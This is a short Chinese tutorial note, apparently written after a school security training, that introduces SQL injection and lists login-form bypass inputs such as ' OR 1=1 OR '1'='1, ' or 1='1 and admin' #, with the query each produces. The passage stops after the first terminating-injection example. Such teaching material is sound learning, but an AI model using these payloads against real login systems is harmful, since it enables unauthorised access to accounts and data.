普通SQL注入
学校有培训公司来进行安全培训,了解一下安全的一些内容吧
SQL注入是一种将SQL代码插入或添加到应用用户的输入参数中的攻击,废话不多说,蛮简单的(以下实例均在登录界面)
1.内联SQL注入
①.在用户名处输入'OR 1=1 OR '1'='1 令SQL语句变为select * from users where name = '' OR 1=1 OR'1'='1' and pwd = ''
②.输入正确用户名,在密码处输入 ' or 1='1
③.输入正确用户名,在密码处输入 '='
2.终止式SQL注入
①.在用户名处输入 admin' #